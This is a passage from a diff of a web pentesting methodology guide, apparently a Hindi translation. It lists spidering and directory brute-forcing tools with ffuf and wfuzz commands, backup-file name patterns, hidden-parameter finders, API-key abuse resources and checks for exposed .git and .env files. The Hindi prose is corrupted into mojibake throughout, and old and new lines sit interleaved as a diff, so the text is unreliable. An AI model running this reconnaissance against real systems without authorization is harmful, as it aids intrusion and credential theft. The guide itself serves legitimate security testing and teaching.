рдвреВрдБрдврддрд╛ рд╣реИред +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite рдПрдХ рдПрдбрд╡рд╛рдВрд╕ multi-feature GUI web security Crawler/Spider рд╣реИ рдЬрд┐рд╕реЗ cyber security professionals рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): рдпрд╣ рдПрдХ Go package рдФрд░ [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) рд╣реИ рдЬреЛ JavaScript source code рд╕реЗ URLs, paths, secrets, рдФрд░ рдЕрдиреНрдп рджрд┐рд▓рдЪрд╕реНрдк рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge рдПрдХ simple **Burp Suite extension** рд╣реИ рдЬреЛ request рд╕реЗ **paramters рдФрд░ endpoints extract** рдХрд░рдХреЗ fuzzing рдФрд░ enumeration рдХреЗ рд▓рд┐рдП custom wordlist рдмрдирд╛рддрд╛ рд╣реИред +- [**katana**](https://github.com/projectdiscovery/katana) (go): рдЗрд╕ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рдЯреВрд▓ред +- [**Crawley**](https://github.com/s0rg/crawley) (go): рдкрд╛рдП рдЧрдП рд╣рд░ link рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред ### Brute Force directories and files -рд░реВрдЯ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ **brute-forcing** рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдЗрд╕ **method** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдП рдЧрдП рд╕рднреА **directories** рдФрд░ **Spidering** рд╕реЗ рдЦреЛрдЬреЗ рдЧрдП рд╕рднреА directories рдХреЛ рднреА brute-force рдХрд░реЗрдВ (рдЖрдк рдЗрд╕реЗ **recursively** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ wordlist рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ рдкрд╛рдП рдЧрдП directory рдХреЗ рдирд╛рдо рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ)ред\ +root рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ **brute-forcing** рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╕ **method** рд╕реЗ рдкрд╛рдП рдЧрдП рд╕рднреА **directories** рдФрд░ Spidering рджреНрд╡рд╛рд░рд╛ **discovered** рдХрд┐рдП рдЧрдП рд╕рднреА directories рдкрд░ рднреА brute-force рдХрд┐рдпрд╛ рд╣реИ (рдЖрдк рдЗрд╕реЗ **recursively** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ wordlist рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ рдкрд╛рдП рдЧрдП directories рдХреЗ рдирд╛рдо рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ)ред\ Tools: -- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. +- **Dirb** / **Dirbuster** - Kali рдореЗрдВ рд╢рд╛рдорд┐рд▓, **рдкреБрд░рд╛рдирд╛** (рдФрд░ **рдзреАрдорд╛**) рдкрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдоред auto-signed certificates рдФрд░ recursive search рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдмрд╛рдХреА рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд slowред +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: рдпрд╣ auto-signed certificates рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рдкрд░** recursive search рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- [**Gobuster**](https://github.com/OJ/gobuster) (go): рдпрд╣ auto-signed certificates рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЗрд╕рдореЗрдВ **recursive** search рдирд╣реАрдВ рд╣реИред - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) -- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. +- [**uro**](https://github.com/s0md3v/uro) (python): рдпрд╣ spider рдирд╣реАрдВ рд╣реИ рдкрд░ рдПрдХ рдЯреВрд▓ рд╣реИ рдЬреЛ рдкрд╛рдП рдЧрдП URLs рдХреА рд╕реВрдЪреА рджреЗрдХрд░ "duplicated" URLs рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension рдЬреЛ burp history рд╕реЗ directories рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИред +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js imports рдХреЗ рдЖрдзрд╛рд░ рдкрд░ duplicated functionalities рд╡рд╛рд▓реЗ URLs рд╣рдЯрд╛рддрд╛ рд╣реИред +- [**Chamaleon**](https://github.com/iustin24/chameleon): рдпрд╣ wapalyzer рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ technologies рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рдФрд░ рддрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХрд┐рди wordlists рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПред **Recommended dictionaries:** @@ -269,41 +268,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_рдиреЛрдЯ: рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдорд┐рд▓рддреА рд╣реИ, рдЙрд╕реЗ рддреБрд░рдВрдд Brute-Force рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред_ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЬрдм рднреА brute-forcing рдпрд╛ spidering рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдирдпрд╛ directory рдЦреЛрдЬрд╛ рдЬрд╛рдП, рдЙрд╕реЗ рднреА Brute-Force рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред_ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╕рднреА files рдЦреЛрдЬ рд▓рд┐рдП, рддреЛ рд╕рднреА executable files рдХреЗ backups рдЦреЛрдЬреЗрдВ ("_.php_", "_.aspx_"...). рдмреИрдХрдЕрдк рдирд╛рдо рджреЗрдиреЗ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реИрд░рд┐рдПрд╢рди рд╣реИрдВ: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ рдЖрдк [**bfac**](https://github.com/mazen160/bfac) **рдпрд╛** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- **Discover new parameters**: рдЖрдк hidden parameters рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **рдФрд░** [**Param Miner**](https://github.com/PortSwigger/param-miner) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╡ рд╣реЛ рддреЛ рд╣рд░ executable web file рдкрд░ hidden parameters рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTMLs рдХреЗ рдЕрдВрджрд░ broken links рдЦреЛрдЬреЗрдВ рдЬреЛ takeover рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡рдг рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +- **File Backups**: рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдвреВрдБрдв рд▓реАрдВ, рддреЛ рд╕рднреА executable рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ backups рдЦреЛрдЬреЗрдВ ("_.php_", "_.aspx_"...). backup рдирд╛рдордХрд░рдг рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╡реЗрд░рд┐рдПрдВрдЯ рд╣реИрдВ: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp рдФрд░ file.old._ рдЖрдк рдЯреВрд▓ [**bfac**](https://github.com/mazen160/bfac) **рдпрд╛** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **Discover new parameters**: рдЖрдк hidden parameters рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **рдФрд░** [**Param Miner**](https://github.com/PortSwigger/param-miner) рдЬреИрд╕реЗ tools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдкреНрд░рддреНрдпреЗрдХ executable web рдлрд╝рд╛рдЗрд▓ рдкрд░ hidden parameters рддрд▓рд╛рд╢реЗрдВред - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner тАЬparamsтАЭ :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote тАЬparameters_top_1mтАЭ:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de тАЬparams.txtтАЭ:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** рд╕рднреА files рдХреА comments рдЬрд╛рдБрдЪреЗрдВ; рдпрд╣рд╛рдБ рдЖрдкрдХреЛ **credentials** рдпрд╛ **hidden functionality** рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -- рдЕрдЧрд░ рдЖрдк **CTF** рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЪрд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рдкреЗрдЬ рдХреЗ рд╕реНрд░реЛрдд рдореЗрдВ comments рдХреЗ рджрд╛рдИрдВ рдУрд░ (рд╣рдЬрд╝рд╛рд░реЛрдВ spaces рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдЬрд╛рдирдХрд╛рд░реА **рдЫрд┐рдкрд╛рдИ** рдЬрд╛рдП рддрд╛рдХрд┐ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рд╕реЛрд░реНрд╕ рджреЗрдЦрдиреЗ рдкрд░ рд╡рд╣ рджрд┐рдЦрд╛рдИ рди рджреЗред рджреВрд╕рд░реА рд╕рдВрднрд╛рд╡рдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХрдИ new lines рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреЗрдЬ рдХреЗ bottom рдореЗрдВ comment рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЫрд┐рдкрд╛рдИ рдЬрд╛рдПред -- **API keys**: рдЕрдЧрд░ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рд╡рд┐рднрд┐рдиреНрди platforms рдХреА API keys рдХреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЙрд╕ рдкрд░ рдорд╛рд░реНрдЧрджрд░реНрд╢рдХ рд╣реИрдВ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: рдЕрдЧрд░ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ **AIza** рд╕реЗ рд╢реБрд░реВ рд▓рдЧрддреА рд╣реИ рдЬреИрд╕реЗ SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, рддреЛ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ key рдХрд┐рди APIs рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИред -- **S3 Buckets**: Spidering рдХрд░рддреЗ рд╕рдордп рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ **subdomain** рдпрд╛ рдХреЛрдИ **link** рдХрд┐рд╕реА **S3 bucket** рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдореЗрдВ, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ comments рдЪреЗрдХ рдХрд░реЗрдВ, рд╡рд╣рд╛рдБ рд╕реЗ рдЖрдкрдХреЛ **credentials** рдпрд╛ **hidden functionality** рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +- рдпрджрд┐ рдЖрдк **CTF** рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ "common" trick рдпрд╣ рд╣реИ рдХрд┐ page рдХреЗ рджрд╛рдИрдВ рдУрд░ comments рдХреЗ рдЕрдВрджрд░ рдЬрд╛рдирдХрд╛рд░реА рдЫреБрдкрд╛ рджреА рдЬрд╛рдП (рд╕реИрдХрдбрд╝реЛрдВ spaces рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрд╛рдХрд┐ browser рдореЗрдВ source рдЦреЛрд▓рддреЗ рд╕рдордп рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдИ рди рджреЗ)ред рдПрдХ рдФрд░ рд╕рдореНрднрд╡ рддрд░реАрдХрд╛ рд╣реИ рдХрдИ new lines рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ page рдХреЗ рдиреАрдЪреЗ comment рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдЫреБрдкрд╛рдирд╛ред +- **API keys**: рдпрджрд┐ рдЖрдк рдХреЛрдИ API key рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рд╡рд┐рднрд┐рдиреНрди platforms рдХреА API keys рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ рдЗрд╕рдХрд╛ рдЧрд╛рдЗрдб рдореМрдЬреВрдж рд╣реИ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдИ API key рдЬреЛ AIza рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рджрд┐рдЦреЗ (рдЙрджрд╛. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) рддреЛ рдЖрдк рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ key рдХрд┐рди APIs рддрдХ access рдХрд░ рд╕рдХрддреА рд╣реИред +- **S3 Buckets**: spidering рдХреЗ рджреМрд░рд╛рди рджреЗрдЦреЗрдВ рдХрд┐ рдХреЛрдИ **subdomain** рдпрд╛ рдХреЛрдИ **link** рдХрд┐рд╕реА **S3 bucket** рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**Spidering** рдФрд░ **brute-forcing** рдХрд░рддреЗ рд╕рдордп рдЖрдк рдХреБрдЫ **interesting** рдЪреАрдЬрд╝реЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред +**spidering** рдФрд░ **brute-forcing** рдХрд░рддреЗ рд╕рдордп рдЖрдкрдХреЛ рдХреБрдЫ **interesting** **things** рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИред **Interesting files** -- CSS рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдЕрдиреНрдп files рдХреЗ **links** рджреЗрдЦреЗрдВред -- [If you find a _**.git**_ file some information can be extracted](git.md) -- рдЕрдЧрд░ рдЖрдкрдХреЛ _**.env**_ рдорд┐рд▓рддрд╛ рд╣реИ рддреЛ рдЙрд╕рдореЗрдВ api keys, dbs passwords рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -- рдЕрдЧрд░ рдЖрдкрдХреЛ **API endpoints** рдорд┐рд▓рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ [should also test them](web-api-pentesting.md)ред рдпреЗ files рдирд╣реАрдВ рд╣реИрдВ, рдкрд░ рджрд┐рдЦрдиреЗ рдореЗрдВ рдЕрдХреНрд╕рд░ рдЙрдирдХреА рддрд░рд╣ рд▓рдЧрддреЗ рд╣реИрдВред -- **JS files**: spidering рд╕реЗрдХреНрд╢рди рдореЗрдВ рдХрдИ tools рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдерд╛ рдЬреЛ JS files рд╕реЗ paths рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рде рд╣реА, рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ рдХрд┐ рд╣рд░ рдкрд╛рдП рдЧрдП JS file рдХреА **monitoring** рдХреА рдЬрд╛рдП, рдХреНрдпреЛрдВрдХрд┐ рдХрднреА-рдХрднреА рдХрд┐рд╕реА JS рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ code рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд vulnerability рдЖрдИ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк [**JSMon**](https://github.com/robre/jsmon)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** -- рдЖрдк рдкрд╛рдП рдЧрдП JS files рдХреЛ vulnerable рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП [**RetireJS**](https://github.com/retirejs/retire.js/) рдпрд╛ [**JSHole**](https://github.com/callforpapers-source/jshole) рд╕реЗ рднреА рдЪреЗрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- CSS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдЕрдиреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП **links** рдЦреЛрдЬреЗрдВред +- [рдпрджрд┐ рдЖрдк _**.git**_ рдлрд╝рд╛рдЗрд▓ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ](git.md) +- рдпрджрд┐ рдЖрдк _**.env**_ рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЙрд╕рдореЗрдВ api keys, dbs passwords рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +- рдпрджрд┐ рдЖрдк **API endpoints** рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ рдЙрдиреНрд╣реЗрдВ [test рднреА рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП](web-api-pentesting.md)ред рдпреЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдирд╣реАрдВ рд╣реИрдВ, рдкрд░ рдЕрдХреНрд╕рд░ "рдлрд╝рд╛рдЗрд▓реЛрдВ рдЬреИрд╕рд╛" рджрд┐рдЦрддреЗ рд╣реИрдВред +- **JS files**: spidering рд╕реЗрдХреНрд╢рди рдореЗрдВ рдХрдИ tools рдмрддрд╛рдП рдЧрдП рдереЗ рдЬреЛ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ path рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдпрд╣ рд░реБрдЪрд┐рдХрд░ рд╣реЛрдЧрд╛ рдХрд┐ рдкрд╛рдП рдЧрдП рд╣рд░ JS рдлрд╝рд╛рдЗрд▓ рдкрд░ рдирд┐рдЧрд░рд╛рдиреА рд░рдЦреЗрдВ, рдХреНрдпреЛрдВрдХрд┐ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ code рдореЗрдВ рдХреЛрдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerability рдЖ рдЧрдИ рд╣реИред рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**JSMon**](https://github.com/robre/jsmon) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- рдЖрдкрдХреЛ рдкрд╛рдП рдЧрдП JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ [**RetireJS**](https://github.com/retirejs/retire.js/) рдпрд╛ [**JSHole**](https://github.com/callforpapers-source/jshole) рд╕реЗ рднреА рдЪреЗрдХ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рд╡реЗ vulnerable рд╣реИрдВред - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- рдХрдИ рдореМрдХреЛрдВ рдкрд░, рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП regular expressions рдХреЛ рд╕рдордЭрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛: [https://regex101.com/](https://regex101.com) рдпрд╛ [https://pythonium.net/regex](https://pythonium.net/regex) -- рдЖрдк рдЙрди files рдХреА рднреА monitoring рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ forms detect рд╣реБрдП рдереЗ, рдХреНрдпреЛрдВрдХрд┐ parameters рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╛ рдирдП form рдХреА рджрд┐рдЦрд╛рд╡рдЯ рдХрд┐рд╕реА рдирдИ рд╕рдВрднрд╛рд╡рд┐рдд vulnerable functionality рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИред +- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- рдХрдИ рдореМрдХреЛрдВ рдкрд░ рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП regular expressions рдХреЛ рд╕рдордЭрдиреЗ рдХреА рдЬрд╝рд░реВрд░рдд рдкрдбрд╝реЗрдЧреАред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛: [https://regex101.com/](https://regex101.com) рдпрд╛ [https://pythonium.net/regex](https://pythonium.net/regex) +- рдЖрдк рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ forms detect рд╣реБрдП рдереЗ, рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА parameter рдореЗрдВ рдмрджрд▓рд╛рд╡ рдпрд╛ рдХрд┐рд╕реА рдирдП form рдХрд╛ рдЖрдирд╛ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдирдП vulnerable functionality рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддрд╛ рд╣реИред **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -314,28 +313,28 @@ _рдиреЛрдЯ: рдЬрдм рднреА рдХреЛрдИ рдирдпрд╛ directory brute-forcing рдпрд╛ spi **502 Proxy Error** -рдпрджрд┐ рдХрд┐рд╕реА рдкреЗрдЬ рдХрд╛ response рдЙрд╕ **code** рдХреЗ рд╕рд╛рде рдЖрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡рддрдГ рдЧрд▓рдд configured proxy рд╣реИред рдпрджрд┐ рдЖрдк рдРрд╕рд╛ HTTP request рднреЗрдЬрддреЗ рд╣реИрдВ: `GET https://google.com HTTP/1.1` (host header рдФрд░ рдЕрдиреНрдп 